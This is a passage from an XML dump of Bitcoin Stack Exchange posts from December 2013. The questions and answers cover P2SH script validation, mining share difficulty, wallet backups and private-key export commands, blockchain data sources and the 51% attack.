Hash&quot; scripts work, especially this example case?&lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="2306" LastEditDate="2014-12-13T06:03:40.597" LastActivityDate="2014-12-13T06:03:40.597" Title="How do &quot;Pay to Script Hash&quot; transactions work?" Tags="|script|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19451" PostTypeId="2" ParentId="19449" CreationDate="2013-12-27T13:51:28.723" Score="1" Body="&lt;p&gt;Start by looking at existing trading platforms. Decide what features you want to have. Then think about what data you'll need to store and design a database schema. Then begin writing the code to perform your business logic using the database schema. Last, put a front end on it and invite people to test it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-27T13:51:28.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19452" PostTypeId="1" CreationDate="2013-12-27T14:04:16.347" Score="1" ViewCount="494" Body="&lt;p&gt;Well I think I can retire mining now, I how produced this huge hash overnight &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxwy5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have looked everywhere. How much is a G share in comparison to a M (million) share? There is no logical step from million to anything with G in it. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-12-27T15:04:39.850" Title="CGMiner, share sizes, what does a shares size with a G appended mean, how much larger than a M (million) share is it?" Tags="|litecoin|mining-pool-shares|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19453" PostTypeId="2" ParentId="19450" CreationDate="2013-12-27T14:05:25.183" Score="8" Body="&lt;p&gt;You're correct so far, you just stopped before you were finished. As BIP16 says, it &quot;defines additional validation rules that apply only to the new transactions&quot; -- specifically, &quot;{serialized script} is popped off the initial stack, and the transaction is validated again using the popped stack and the deserialized script as the scriptPubKey.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The script is popped off the stack, leaving only &lt;code&gt;[signature]&lt;/code&gt; on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The deserialized script is added, leaving &lt;code&gt;[signature] [pubkey] OP_CHECKSIG&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The transaction is validated again, that is, a normal signature verification occurs against the specified public key.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-27T14:05:25.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19454" PostTypeId="2" ParentId="19452" CreationDate="2013-12-27T15:04:39.850" Score="1" Body="&lt;p&gt;G is short for &quot;giga&quot; (billions), just like M is short for &quot;mega&quot; (millions). Congratulations on a very lucky find that, sadly, won't pay you any more than any other share.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-27T15:04:39.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19455" PostTypeId="1" AcceptedAnswerId="19744" CreationDate="2013-12-27T15:26:28.127" Score="3" ViewCount="762" Body="&lt;p&gt;A few months ago I came across (by accident) a very detailed and well written guide on how to create your own crypto-currency from the bitcoin source code.  I skimmed through it and &quot;Stared&quot; in Firefox for future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I want to read through it I can't find it in my bookmarks. (I sometimes think Firefox is not saving them), anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guide had highlighted source code, complete explanations of what was necessary, how to generate the genesis block, etc.  He even offered a service were he would do it all for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one have the link to that site?&lt;/p&gt;&#xA;" OwnerUserId="11468" LastActivityDate="2018-02-17T14:45:19.077" Title="Searching for the comprehensive guide to creating Crypto Currency" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19457" PostTypeId="1" CreationDate="2013-12-27T15:47:27.507" Score="3" ViewCount="2405" Body="&lt;p&gt;Along with the history of incoming and outgoing transactions, how would I find the first block that that address appeared in (to find when the wallet was created)? &#xA;I want to do this by parsing with bitcoin abe or something along those lines. &#xA;I'm not the programmer, but I need to know how to tell the developer what I'm looking to create.&lt;/p&gt;&#xA;" OwnerUserId="11470" LastActivityDate="2018-09-16T16:03:16.947" Title="How to get a history of incoming and outgoing transactions for a certain address?" Tags="|transactions|blockchain|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19459" PostTypeId="1" CreationDate="2013-12-27T16:26:52.327" Score="3" ViewCount="670" Body="&lt;p&gt;XPT (x.pushthrough) is used by some mining pools (e.g. ypool.net, primecoin). I have googled but could not find any reference to the details of this protocol. What is the protocol to be able to write a basic client?&lt;/p&gt;&#xA;" OwnerUserId="11472" LastActivityDate="2014-03-03T18:50:55.017" Title="What is the XPT protocol?" Tags="|protocol|primecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19462" PostTypeId="2" ParentId="16933" CreationDate="2013-12-27T18:12:32.997" Score="0" Body="&lt;p&gt;Obviously, it's a bad idea to experiment as funny things can happen. That being said, your client should simply recognize it as an invalid address and reject the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the Litecoin address is valid for Litecoins, it is not valid for Bitcoins, hence should be quickly rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Nate pointed out, Litecoin addresses start with &quot;L&quot;, so your client would immediately recognize it as invalid.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-12-27T18:12:32.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19463" PostTypeId="2" ParentId="19437" CreationDate="2013-12-27T18:25:29.367" Score="0" Body="&lt;p&gt;Yes, you can definitely do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, a news anchor gave a few of his fellow anchors Bitcoin gift cards with QR codes on them live on TV. Then, a reddit user was able to scan the QR code and actually steal the Bitcoins! (He offered to refund them, and made it clear he was just trying to prove a point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The news anchor created his Bitcoin QR code through lazzerbee, which focuses on high quality printed gift certificates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitaddress.org is probably easiest site to use to generate a simple printed Bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a tutorial on creating a paper wallet here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/wallet/paper-tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-12-27T18:25:29.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19464" PostTypeId="2" ParentId="19426" CreationDate="2013-12-27T18:34:57.327" Score="1" Body="&lt;p&gt;There are many different wallet services, and you can also create a wallet on your own computer, so keeping your identity safe in regards to the wallet will be more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question, however, seems to center more around keeping your larger online Bitcoin presence secret. Consider a few things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, many major payment processing sites, exchanges, etc. will require your real name and a photo ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you can use tools such as the following at Blockchain.info to trace Bitcoin exchanges. You can't get the personal ID of the individual, but now you are on your way to tracing transactions from a particular address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1BF8SHKnT8ZysYNrj5toeu6DsuGE5XDcCR&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/address/1BF8SHKnT8ZysYNrj5toeu6DsuGE5XDcCR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, if I had a huge number of Bitcoins, I would keep most of them offline in a separate wallet, and then keep a smaller portion in a smaller wallet. That way, even if someone manages to trace and deduce your wallet, they will only have info on a small portion of your total holdings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a tutorial on creating separate Bitcoin wallets, in case you're interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5158/how-can-i-split-my-bitcoin-wallet&quot;&gt;How can I split my bitcoin wallet?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-27T18:34:57.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19465" PostTypeId="1" CreationDate="2013-12-27T19:16:31.627" Score="2" ViewCount="243" Body="&lt;p&gt;How does blockchain.info get their info? My intuition tells me that they have a modified client that reads and processes the blockchain (either directly from the network as it comes in or from the raw files on disk) and stores the various data and relationships in a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also guessing that they may use the RPC interface for the standard bitcoind to do simple things like getdifficulty() or getblockcount() quikly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11002" LastEditorUserId="2306" LastEditDate="2015-05-12T22:53:21.110" LastActivityDate="2015-05-12T22:53:21.110" Title="How does blockchain.info get its info? Is it via the RPC interface for bitcoind or by reading the raw blockchain directly?" Tags="|bitcoind|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19466" PostTypeId="1" CreationDate="2013-12-27T19:26:52.413" Score="4" ViewCount="160" Body="&lt;p&gt;My idea is to be able to build &quot;credit&quot; for an individual. Lenders of BTC could just use a service to check the &quot;credit score&quot; of a certain address of a borrower. The borrower would have to spend a year(s) using one address like a checking account, and by meeting certain criteria over time, they'd earn a higher credit rating. But this doesn't limit them to one address, only to one public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to data mine transactions to and from known/published public addresses of public companies or employers/employees, etc. All of this data about an address could be pulled off of the blockchain and calculated with certain weights, which means no reliance on a &lt;a href=&quot;http://en.wikipedia.org/wiki/Peer-to-peer&quot; rel=&quot;nofollow&quot;&gt;P2P&lt;/a&gt; rating system. An applicant for a loan could even provide their daily use address (like a checking account) and their offline address (like a savings account). Lenders would rely on the ADDRESS's credit rating, not the individuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Am I oversimplifying?&lt;/p&gt;&#xA;" OwnerUserId="11470" LastEditorUserId="1405" LastEditDate="2014-01-18T10:01:20.763" LastActivityDate="2014-01-18T10:01:20.763" Title="What if you wanted to decrease anonymity?" Tags="|address|privacy|vanity-address|green-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19468" PostTypeId="1" CreationDate="2013-12-27T20:43:12.203" Score="-1" ViewCount="1790" Body="&lt;p&gt;If I have, say 20, priv/pub key pairs in my wallet which bitcoin API calls do I use to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select a specific privpub key pair.&lt;/li&gt;&#xA;&lt;li&gt;Generate a new bitcoin address (using the selected private key)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11286" LastActivityDate="2018-09-09T18:43:40.913" Title="Which API call creates new bitcoin addresses" Tags="|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19469" PostTypeId="1" CreationDate="2013-12-27T21:04:21.973" Score="1" ViewCount="322" Body="&lt;p&gt;For example, in the Genesis block in Bitcoin, from which values was the solution hash &quot;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; derived from? I understand that the nonce is applied to something to get the solution, but I can't seem to find what those values are.&lt;/p&gt;&#xA;" OwnerUserId="11417" LastActivityDate="2013-12-28T18:00:47.717" Title="How is the solution hash in a block generated?" Tags="|block|hash|sha256|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19470" PostTypeId="1" CreationDate="2013-12-27T21:08:28.363" Score="0" ViewCount="993" Body="&lt;p&gt;I'm new to bitcoin and have been reading some intros and FAQs.  Most features of bitcoin seem better than our current currency systems.  However, the one thing that strikes me is the ability to have your wallet stolen.  Either through malware, keylogger, in person, etc.  I've reading some posts on here about securing your wallet.  But the fact remains that it could get stolen.  And if it gets stolen your bitcoin balance is gone.  There is no way to recover it.  If you compare that to credit cards, when your card (or card number) gets stolen, the thief may make payments using the card, but the trusted third party (bank or credit card company) will usually not hold you liable and refund the money.&#xA;Therefore, if bitcoin were to become the most widely used currency in the world, people could lose their life savings just by a single virus infection or devious hacker.  Having that bank or credit card company involved provides that extra level of shelter.&#xA;Does anyone think this will hold back bitcoin use from becoming widespread throughout the world? &lt;/p&gt;&#xA;" OwnerUserId="11488" LastActivityDate="2014-05-27T02:51:54.080" Title="Is the Trusted Third Party an advantage or disadvantage in regards to wallet security?" Tags="|wallet|security|trust|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19471" PostTypeId="2" ParentId="8568" CreationDate="2013-12-27T21:09:58.307" Score="2" Body="&lt;p&gt;You effectively need a spreadsheet to calculate the profit because the difficulty factor changes every 2016 blocks, or about every two weeks.  The difficulty factor is currently compounding itself somewhere around 35% to 55% per month.  If you don't include this nonlinear effect you are kidding yourself. The compounding difficulty factor is the dominant term that will make or break ROI.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-27T21:09:58.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19472" PostTypeId="2" ParentId="10785" CreationDate="2013-12-27T21:37:56.013" Score="0" Body="&lt;p&gt;These figures represent the difficulty at which the respective mining pool accepts a hash as a &lt;em&gt;share&lt;/em&gt; of the mining pool's work. &lt;strong&gt;The actual network difficulty cannot be calculated from these figures.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&#xA;While Bitcoin uses &lt;code&gt;SHA256&lt;/code&gt; as the hashing algorithm, Litecoin uses &lt;code&gt;Scrypt&lt;/code&gt; which is much more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, a Litecoin difficulty of 1 represented a much greater amount of work than a Bitcoin difficulty of 1. If Litecoin mining pool operators would have accepted only hashes that fulfilled a difficulty of 1 or greater as valid &lt;em&gt;shares&lt;/em&gt;, they would have only accepted valid blocks as &lt;em&gt;shares&lt;/em&gt;, essentially reducing their contributors to solo miners. In order to estimate the work done by their contributers, they allowed hashes that fulfilled a much lower difficulty as &lt;em&gt;shares&lt;/em&gt;, as seen in the linked website.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-27T21:37:56.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19473" PostTypeId="2" ParentId="19469" CreationDate="2013-12-27T21:51:30.690" Score="2" Body="&lt;p&gt;The process of mining consists on constantly hashing the block header in order to obtain a hash lower than a specific target. The block header contains (from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Version&lt;/li&gt;&#xA;&lt;li&gt;hashPrevBlock&lt;/li&gt;&#xA;&lt;li&gt;hashMerkleRoot&lt;/li&gt;&#xA;&lt;li&gt;Time&lt;/li&gt;&#xA;&lt;li&gt;Bits&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Nonce&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So when the obtained hash does not meet the required conditions, the nonce value is increased by one, so that the hash of the block header changes. The miner keeps changing the nonce, trying to find a value that makes the hash of the header lower than the current target.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2013-12-27T21:51:30.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19475" PostTypeId="2" ParentId="19470" CreationDate="2013-12-27T22:04:36.780" Score="1" Body="&lt;p&gt;Security is, of course, an issue and when using Bitcoin you should exercise caution. That being said, it is important to remember that the Bitcoin community is rapidly evolving, and new technologies, systems, and services are being developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin continues to evolve, companies and computer programs will come up with new solutions to challenges and problems. For example, as you point out wallet security is a major issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Already, companies are coming up with more secure wallets, that are hacker proof, and larger exchanges and service providers are being established. For a major company like Mt. Gox there is no incentive to steal Bitcoins, they have a profitable business model and any blow back from theft would far outweigh the incentive to steal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, companies will probably grow in size so that they can provide third party security comparable to a bank or credit card company for Bitcoins. Of course, it's relevant to wonder if they can do so while maintaining confidentiality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security companies will also likely grow in size past that point that they would consider trying to launch any type of scam. Think about it, do you think Norton Anti-virus would ever try to launch a virus program? Most likely not. Currently, most Bitcoin security companies are pretty small, but over time a few brand names will likely emerge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get to the point: No I don't think that the security issues you present will hold back Bitcoin. The Bitcoin community is creative, dynamic, and able to respond to challenges. Companies and programmers will see these challenges as opportunities, and will respond appropriately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess, Bitcoin will eventually be able to provide a sort of third party security, much like a bank, to those who want the extra layer of security, most likely for increased fees. Those who do not want or need that extra layer of security won't be forced to accept it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is the lack of a third party an advantage or disadvantage? Honestly, I think that depends on the situation. If you want to have a highly confidential way to store and transfer money, having a third party involved means someone will be looking into your transactions, at least to some extent. If your biggest concern is having a secure way to store money, than third parties can provide extra security. That being said, there are ways to secure your Bitcoins, and as I stated I believe Bitcoin will eventually be able to provide similar levels of protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a separate note since you are new to Bitcoin, if you are using Bitcoin, I would personally advise that you not keep all of your funds in one account. Divide your bitcoins into several accounts, and if possible keep the bulk of your funds secured offline. If you have a large amount of funds, you could even consider something like a safety deposit box at a bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I advise going with trusted brand names, like Mt. Gox, or using service providers backed by Silicon Valley funding, things like that. These sites and services should be more secure.  &lt;/p&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="7072" LastEditDate="2013-12-27T22:20:11.963" LastActivityDate="2013-12-27T22:20:11.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19476" PostTypeId="2" ParentId="19470" CreationDate="2013-12-27T22:04:44.433" Score="1" Body="&lt;p&gt;No, in fact from a payment recipient's perspective this is one of the biggest selling points of Bitcoin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service provided by the trusted third party essentially represents an insurance on your balance. This insurance service causes a significant cost to the provider which on the other hand sustains itself by forwarding the cost to its users. I.e. this is why many credit cards cost annual fees and why shop owners are charged a percentage of payments as fee by the credit card company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that aspect, Bitcoin is like cash: After it leaves your wallet, you cannot get it back by petitioning a third party. I am sure, if you ask shop owners most of them would much rather have cash than a credit card payment as it just about doubles their margin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-27T22:04:44.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19488" PostTypeId="2" ParentId="19466" CreationDate="2013-12-27T23:00:37.557" Score="0" Body="&lt;p&gt;Seems like you are off to a good start. Credit scores work through a history of transactions, so if you tracked and traced the transactions of a particular Bitcoin account, you should be able to build a reliable &quot;credit&quot; score, as you already pointed out.So that part seems on track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I like about your system is the reliance on an address, so you should be able to maintain a degree of confidentiality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be possible to develop software to track transactions if users signed up. A bitcoin wallet service, for example, should be able to use your software (or a similar software) to plug into their own program and provide a rating service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one downside I see to any of these tracking/rating services, is that they could create long-term pressure to reduce the anonymity of the Bitcoin Community as a whole. Relying on an address, instead of name, like your system does could reduce these pressures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, to answer your question, it does seem possible. Obviously developing the program itself is easier said than done. Anyways, interesting idea!&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-12-27T23:00:37.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19490" PostTypeId="2" ParentId="13161" CreationDate="2013-12-27T23:04:25.150" Score="2" Body="&lt;p&gt;So if you make 0.000000485032112 bitcoin per minute, and let's say 1 bitcoin is $1000.  So your making $0.000485032112 per min, or $0.02910192672 per hour or ~$0.69 per day, but the power costs of running the PC don't make it worthwhile.&lt;/p&gt;&#xA;" OwnerUserId="11492" LastActivityDate="2013-12-27T23:04:25.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19491" PostTypeId="1" CreationDate="2013-12-27T23:40:52.793" Score="0" ViewCount="379" Body="&lt;p&gt;i am coding simple miner.&#xA;I succesfully implemented Getwork in basic form. Next thing is gonna be Longpolling. &#xA;If i understand correctly longpoll is just connection that is waiting for next block. So, what happens when I am waiting for longpoll and submit share ? I am supposed to mine further(increase nonce and continue) or simply wait for longpoll. Using only getwork and SSE2 optimized scrypt I was able to get 5kHash/s on my i5-4670K on single thread.&lt;/p&gt;&#xA;" OwnerUserId="11493" LastEditorUserId="5406" LastEditDate="2016-04-02T09:20:26.963" LastActivityDate="2016-04-02T09:20:26.963" Title="What is miner supposed to do when waiting for longpoll" Tags="|api|development|mining-software|getwork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19492" PostTypeId="2" ParentId="19468" CreationDate="2013-12-28T00:34:26.907" Score="1" Body="&lt;pre&gt;&lt;code&gt;bitcoind getnewaddress [account]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;account&lt;/code&gt; is the name you want the new address associated with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API documentation.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-12-28T00:34:26.907" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19493" PostTypeId="2" ParentId="19468" CreationDate="2013-12-28T00:52:22.057" Score="0" Body="&lt;p&gt;In order to get your private keys, you have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unlock your wallet if it is encrypted by calling: WalletPassphrase&lt;/li&gt;&#xA;&lt;li&gt;Call ListReceivedByAddress with arguments: 0, true to get all available addresses&lt;/li&gt;&#xA;&lt;li&gt;Iterate through those addresses and for each of them that you want to grab the key pair call DumpPrivKey&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To get a new address just call the GetNewAddress method.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-28T00:52:22.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19494" PostTypeId="2" ParentId="19466" CreationDate="2013-12-28T01:05:27.573" Score="1" Body="&lt;p&gt;Trying to build a centralized credit system would require a mint, which is why this protocol was build in the first place. We don't want mints and on top of that we don't actually need mints for most functions. I would suggest you take a look at those whole new possibilities that come along with this protocol, such as coloring, escrow services, etc and forget all about the old-fashioned and in many cases incapable credit scoring system. Or, if you insist, try to make use of the all-public transaction log after you have associated an entity with a public address, maybe with a micro-payment or the such.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-28T01:05:27.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19495" PostTypeId="1" AcceptedAnswerId="19498" CreationDate="2013-12-28T01:34:49.767" Score="1" ViewCount="3780" Body="&lt;p&gt;Does my &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; wallet backup file have &quot;everything&quot; I need (private key)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, is that the file I would copy and store offsite in case my house burns down? Does it have my private key encoded in there?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="1405" LastEditDate="2014-02-10T20:16:24.343" LastActivityDate="2014-02-10T20:16:24.343" Title="Does my Bitcoin-Qt wallet backup file have &quot;everything&quot; I need (private key)?" Tags="|wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19496" PostTypeId="2" ParentId="19441" CreationDate="2013-12-28T01:38:04.190" Score="0" Body="&lt;p&gt;You have to initialize the cryptocurrency's daemon (for bitcoin it is the bitcoind, for example) as a server and configure it to accept your IP address if it is hosted on another machine, via the rpcallowip=192.168.1.x command. The 9332 port is that daemon's RPC server to which your miner tries to connect and fails.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-28T01:38:04.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19497" PostTypeId="2" ParentId="19495" CreationDate="2013-12-28T01:44:08.037" Score="3" Body="&lt;p&gt;Your bitcoin.dat file contains your private key(s) as well, however I would suggest you extract them now for the addresses that hold money (if any), if empty then it's not much of a use, unless you accept donations there or have a business set up to that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to extract your private keys for addresses that hold at least some money:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Help &gt; Debug &gt; Console&lt;/li&gt;&#xA;&lt;li&gt;Unlock your wallet if it is encrypted by calling: walletpassphrase YOURPASSWORD&lt;/li&gt;&#xA;&lt;li&gt;Call listreceivedbyaddress to get all not-empty addresses&lt;/li&gt;&#xA;&lt;li&gt;For each of them call the dumpprivkey MYADDRESS&lt;/li&gt;&#xA;&lt;li&gt;Call walletlock once you're through to lock back your wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2013-12-28T01:44:08.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19498" PostTypeId="2" ParentId="19495" CreationDate="2013-12-28T02:16:18.627" Score="2" Body="&lt;p&gt;You only need to copy the &lt;code&gt;wallet.dat&lt;/code&gt; to backup your private-keys. Do this while Bitcoin-Qt is &lt;em&gt;not running&lt;/em&gt;. All other information will be deduced from the blockchain once you re-import the &lt;code&gt;wallet.dat&lt;/code&gt; except any custom labels you have given to addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you encrypted the &lt;code&gt;wallet.dat&lt;/code&gt; you will also have to remember the passphrase.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-29T11:22:42.970" LastActivityDate="2013-12-29T11:22:42.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19499" PostTypeId="1" AcceptedAnswerId="19540" CreationDate="2013-12-28T02:35:46.803" Score="4" ViewCount="3540" Body="&lt;p&gt;I am using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt; application on Ubuntu, but the blockchain is very large and is wasting space on my &lt;a href=&quot;http://en.wikipedia.org/wiki/Solid-state_drive&quot; rel=&quot;nofollow&quot;&gt;SSD&lt;/a&gt; drive. Is there a way that I can move it to a hard disk drive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a setting for this. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="11172" LastEditorUserId="1405" LastEditDate="2014-09-28T17:21:58.813" LastActivityDate="2014-09-28T17:21:58.813" Title="Move the blockchain to a different location" Tags="|wallet|blockchain|linux|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19500" PostTypeId="1" AcceptedAnswerId="19507" CreationDate="2013-12-28T02:42:42.557" Score="2" ViewCount="765" Body="&lt;p&gt;What is the motivation for the faucet owner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to get a browser visit/IP address/plant some cookies?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2016-10-19T06:28:56.733" Title="What is the point of a bitcoin faucet?" Tags="|faucets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19501" PostTypeId="1" CreationDate="2013-12-28T03:43:37.457" Score="3" ViewCount="2279" Body="&lt;p&gt;What gives a mining pool power to maliciously dominate the system if they're mining over the majority of the coins? Profits are disseminated to miners individually. I really don't understand how this enables a bunch of individuals to conspire to warp the market. I think I'm fundamentally misunderstanding the problem. Can someone explain how having a 51% share enables a pool to prevent, reverse, or double spend transactions?&lt;/p&gt;&#xA;" OwnerDisplayName="user10259" LastEditorUserId="5406" LastEditDate="2016-04-02T09:18:25.610" LastActivityDate="2016-04-02T09:18:25.610" Title="I don't understand the &quot;51% attack&quot; problem. Why does a mining pool have power with a 51% share?" Tags="|mining-pools|security|majority-attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
